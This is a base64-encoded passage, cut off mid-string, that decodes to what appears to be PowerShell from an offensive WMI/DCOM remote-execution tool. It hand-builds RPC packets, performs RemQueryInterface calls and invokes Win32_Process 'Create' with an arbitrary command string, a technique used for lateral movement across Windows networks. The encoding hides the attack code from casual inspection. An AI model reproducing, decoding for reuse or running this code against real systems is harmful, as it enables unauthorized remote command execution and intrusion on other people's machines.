ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAyLDB4MDAgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9uYW1lc3BhY2VfbGVuZ3RoICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9uYW1lc3BhY2VfbGVuZ3RoICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRXTUlfbmFtZXNwYWNlX3VuaWNvZGUgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwNCwweDAwLDB4MDIsMHgwMCwweDA5LDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwOSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4NjUsMHgwMCwweDZlLDB4MDAsMHgyZCwweDAwLDB4NTUsMHgwMCwweDUzLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDJjLDB4MDAsMHg2NSwweDAwLDB4NmUsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAzDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc2VxdWVuY2VfbnVtYmVyID0gMHgwNCwweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9mbGFncyA9IDB4ODMNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3RfYXV0aF9wYWRkaW5nID0gOA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9jYWxsX0lEID0gMHgwNiwweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9jb250ZXh0X0lEID0gMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X29wbnVtID0gMHgwNSwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X1VVSUQgPSAkb2JqZWN0X1VVSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfc3RhZ2VfbmV4dCA9ICdSZXF1ZXN0Jw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX2RhdGEgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRXTUlfY2xpZW50X3JlY2VpdmUpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRXTUlfZGF0YSA9ICRXTUlfZGF0YSAtcmVwbGFjZSAiLSIsIiINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJE9YSURfaW5kZXggPSAkV01JX2RhdGEuSW5kZXhPZigkT1hJRCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJE9YSURfYnl0ZXNfaW5kZXggPSAkT1hJRF9pbmRleCAvIDINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJElQSUQyID0gJFdNSV9jbGllbnRfcmVjZWl2ZVsoJE9YSURfYnl0ZXNfaW5kZXggKyAxNikuLigkT1hJRF9ieXRlc19pbmRleCArIDMxKV0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9yZW1fcmVsZWFzZSA9IEdldC1QYWNrZXREQ09NUmVtUmVsZWFzZSAkY2F1c2FsaXR5X0lEX2J5dGVzICRvYmplY3RfVVVJRDIgJElQSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0dWJfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfcmVtX3JlbGVhc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA0DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc2VxdWVuY2VfbnVtYmVyID0gMHgwNSwweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9mbGFncyA9IDB4ODMNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3RfYXV0aF9wYWRkaW5nID0gNA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9jYWxsX0lEID0gMHgwNywweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9jb250ZXh0X0lEID0gMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X29wbnVtID0gMHgwMywweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X1VVSUQgPSAkb2JqZWN0X1VVSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfc3RhZ2VfbmV4dCA9ICdSZXF1ZXN0Jw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X3JlbV9xdWVyeV9pbnRlcmZhY2UgPSBHZXQtUGFja2V0RENPTVJlbVF1ZXJ5SW50ZXJmYWNlICRjYXVzYWxpdHlfSURfYnl0ZXMgJElQSUQyIDB4OWUsMHhjMSwweGZjLDB4YzMsMHg3MCwweGE5LDB4ZDIsMHgxMSwweDhiLDB4NWEsMHgwMCwweGEwLDB4YzksMHhiNywweGM5LDB4YzQNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0dWJfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfcmVtX3F1ZXJ5X2ludGVyZmFjZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzZXF1ZW5jZV9udW1iZXIgPSAweDA2LDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X2ZsYWdzID0gMHg4Mw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9hdXRoX3BhZGRpbmcgPSA0DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X2NhbGxfSUQgPSAweDA4LDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X2NvbnRleHRfSUQgPSAweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3Rfb3BudW0gPSAweDAzLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3RfVVVJRCA9ICRvYmplY3RfVVVJRA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX2NsaWVudF9zdGFnZV9uZXh0ID0gJ0FsdGVyQ29udGV4dCcNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9yZW1fcXVlcnlfaW50ZXJmYWNlID0gR2V0LVBhY2tldERDT01SZW1RdWVyeUludGVyZmFjZSAkY2F1c2FsaXR5X0lEX2J5dGVzICRJUElEMiAweDgzLDB4YjIsMHg5NiwweGIxLDB4YjQsMHhiYSwweDFhLDB4MTAsMHhiNiwweDljLDB4MDAsMHhhYSwweDAwLDB4MzQsMHgxZCwweDA3DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdHViX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X3JlbV9xdWVyeV9pbnRlcmZhY2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA2DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc2VxdWVuY2VfbnVtYmVyID0gMHgwNywweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9mbGFncyA9IDB4ODMNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3RfYXV0aF9wYWRkaW5nID0gMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9jYWxsX0lEID0gMHgwOSwweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9jb250ZXh0X0lEID0gMHgwNCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X29wbnVtID0gMHgwNiwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X1VVSUQgPSAkSVBJRDINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfc3RhZ2VfbmV4dCA9ICdSZXF1ZXN0Jw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdHViX2RhdGEgPSAweDA1LDB4MDAsMHgwNywweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY2F1c2FsaXR5X0lEX2J5dGVzICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHg1NSwweDczLDB4NjUsMHg3MiwweDBkLDB4MDAsMHgwMCwweDAwLDB4MWEsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMCwweDBkLDB4MDAsMHgwMCwweDAwLDB4NzcsMHgwMCwweDY5LDB4MDAsMHg2ZSwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgzMywweDAwLDB4MzIsMHgwMCwweDVmLDB4MDAsMHg3MCwweDAwLDB4NzIsMHgwMCwweDZmLDB4MDAsMHg2MywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHg2NSwweDAwLDB4NzMsMHgwMCwweDczLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAyLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDANCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDcNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzZXF1ZW5jZV9udW1iZXIgPSAweDA4LDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X2ZsYWdzID0gMHg4Mw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9hdXRoX3BhZGRpbmcgPSAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X2NhbGxfSUQgPSAweDEwLDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X2NvbnRleHRfSUQgPSAweDA0LDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3Rfb3BudW0gPSAweDA2LDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3RfVVVJRCA9ICRJUElEMg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX2NsaWVudF9zdGFnZV9uZXh0ID0gJ1JlcXVlc3QnDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0dWJfZGF0YSA9IDB4MDUsMHgwMCwweDA3LDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjYXVzYWxpdHlfSURfYnl0ZXMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCwweDU1LDB4NzMsMHg2NSwweDcyLDB4MGQsMHgwMCwweDAwLDB4MDAsMHgxYSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MGQsMHgwMCwweDAwLDB4MDAsMHg3NywweDAwLDB4NjksMHgwMCwweDZlLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDMzLDB4MDAsMHgzMiwweDAwLDB4NWYsMHgwMCwweDcwLDB4MDAsMHg3MiwweDAwLDB4NmYsMHgwMCwweDYzLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDY1LDB4MDAsMHg3MywweDAwLDB4NzMsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDIsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMA0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgeyRfIC1nZSA4fQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNlcXVlbmNlX251bWJlciA9IDB4MDksMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3RfYXV0aF9wYWRkaW5nID0gMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9jYWxsX0lEID0gMHgwYiwweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9jb250ZXh0X0lEID0gMHgwNCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X29wbnVtID0gMHgxOCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X1VVSUQgPSAkSVBJRDINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW0J5dGVbXV0kc3R1Yl9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRDb21tYW5kLkxlbmd0aCArIDE3NjkpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdHViX2xlbmd0aCA9ICRzdHViX2xlbmd0aFswLDFdDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtCeXRlW11dJHN0dWJfbGVuZ3RoMiA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJENvbW1hbmQuTGVuZ3RoICsgMTcyNykNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0dWJfbGVuZ3RoMiA9ICRzdHViX2xlbmd0aDJbMCwxXQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbQnl0ZVtdXSRzdHViX2xlbmd0aDMgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRDb21tYW5kLkxlbmd0aCArIDE3MTMpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdHViX2xlbmd0aDMgPSAkc3R1Yl9sZW5ndGgzWzAsMV0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW0J5dGVbXV0kY29tbWFuZF9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRDb21tYW5kLkxlbmd0aCArIDkzKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29tbWFuZF9sZW5ndGggPSAkY29tbWFuZF9sZW5ndGhbMCwxXQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbQnl0ZVtdXSRjb21tYW5kX2xlbmd0aDIgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRDb21tYW5kLkxlbmd0aCArIDE2KQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29tbWFuZF9sZW5ndGgyID0gJGNvbW1hbmRfbGVuZ3RoMlswLDFdDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtCeXRlW11dJGNvbW1hbmRfYnl0ZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldEJ5dGVzKCRDb21tYW5kKQ0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyB0aGFua3MgdG8gQHZ5c2VjIGZvciBmaW5kaW5nIGEgYnVnIHdpdGggY2VydGFpbiBjb21tYW5kIGxlbmd0aHMNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1N0cmluZ10kY29tbWFuZF9wYWRkaW5nX2NoZWNrID0gJENvbW1hbmQuTGVuZ3RoIC8gNA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGNvbW1hbmRfcGFkZGluZ19jaGVjayAtbGlrZSAiKi43NSIpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb21tYW5kX2J5dGVzICs9IDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoJGNvbW1hbmRfcGFkZGluZ19jaGVjayAtbGlrZSAiKi41IikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbW1hbmRfYnl0ZXMgKz0gMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKCRjb21tYW5kX3BhZGRpbmdfY2hlY2sgLWxpa2UgIiouMjUiKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29tbWFuZF9ieXRlcyArPSAweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbW1hbmRfYnl0ZXMgKz0gMHgwMCwweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3R1Yl9kYXRhID0gMHgwNSwweDAwLDB4MDcsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNhdXNhbGl0eV9JRF9ieXRlcyArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMCwweDAwLDB4NTUsMHg3MywweDY1LDB4NzIsMHgwZCwweDAwLDB4MDAsMHgwMCwweDFhLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwZCwweDAwLDB4MDAsMHgwMCwweDU3LDB4MDAsMHg2OSwweDAwLDB4NmUsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MzMsMHgwMCwweDMyLDB4MDAsMHg1ZiwweDAwLDB4NTAsMHgwMCwweDcyLDB4MDAsMHg2ZiwweDAwLDB4NjMsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4NjUsMHgwMCwweDczLDB4MDAsMHg3MywweDAwLDB4MDAsMHgwMCwweDU1LDB4NzMsMHg2NSwweDcyLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwNiwweDAwLDB4MDAsMHgwMCwweDBjLDB4MDAsMHgwMCwweDAwLDB4MDYsMHgwMCwweDAwLDB4MDAsMHg2MywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHg3MiwweDAwLDB4NjUsMHgwMCwweDYxLDB4MDAsMHg3NCwweDAwLDB4NjUsMHgwMCwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMiwweDAwICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdHViX2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0dWJfbGVuZ3RoICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDRkLDB4NDUsMHg0ZiwweDU3LDB4MDQsMHgwMCwweDAwLDB4MDAsMHg4MSwweGE2LDB4MTIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweGRjLDB4N2YsMHg3MywweGNmLDB4MTEsMHg4OCwweDRkLDB4MDAsMHhhYSwweDAwLDB4NGIsMHgyZSwweDI0LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgxMiwweGY4LDB4OTAsMHg0NSwweDNhLDB4MWQsMHhkMCwweDExLDB4ODksMHgxZiwweDAwLDB4YWEsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4NGIsMHgyZSwweDI0LDB4MDAsMHgwMCwweDAwLDB4MDAgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0dWJfbGVuZ3RoMiArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHg3OCwweDU2LDB4MzQsMHgxMiArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3R1Yl9sZW5ndGgzICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAyLDB4NTMsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDA2LDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwZCwweDAwLDB4MDAsMHgwMCwweDA0LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwZiwweDAwLDB4MDAsMHgwMCwweDBlLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwYiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4ZmYsMHhmZiwweDAzLDB4MDAsMHgwMCwweDAwLDB4MmEsMHgwMCwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDE1LDB4MDEsMHgwMCwweDAwLDB4NzMsMHgwMSwweDAwLDB4MDAsMHg3NiwweDAyLDB4MDAsMHgwMCwweGQ0LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMiwweDAwLDB4MDAsMHhiMSwweDAzLDB4MDAsMHgwMCwweDE1LDB4ZmYsMHhmZiwweGZmLDB4ZmYsMHhmZiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4ZmYsMHhmZiwweGZmLDB4ZmYsMHhmZiwweGZmLDB4ZmYsMHgxMiwweDA0LDB4MDAsMHg4MCwweDAwLDB4NWYsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDVmLDB4NTAsMHg0MSwweDUyLDB4NDEsMHg0ZCwweDQ1LDB4NTQsMHg0NSwweDUyLDB4NTMsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHg2MSwweDYyLDB4NzMsMHg3NCwweDcyLDB4NjEsMHg2MywweDc0LDB4MDAsMHgwOCwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwNCwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHg0MywweDZmLDB4NmQsMHg2ZCwweDYxLDB4NmUsMHg2NCwweDRjLDB4NjksMHg2ZSwweDY1LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4NzMsMHg3NCwweDcyLDB4NjksMHg2ZSwweDY3LDB4MDAsMHgwOCwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgxMSwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MGEsMHgwMCwweDAwLDB4ODAsMHgwMywweDA4LDB4MDAsMHgwMCwweDAwLDB4MzcsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4NDksMHg2ZSwweDAwLDB4MDgsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MWMsMHgwMCwweDAwLDB4MDAsMHgwYSwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDgwLDB4MDMsMHgwOCwweDAwLDB4MDAsMHgwMCwweDM3LDB4MDAsMHgwMCwweDAwLDB4NWUsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAyLDB4MGIsMHgwMCwweDAwLDB4MDAsMH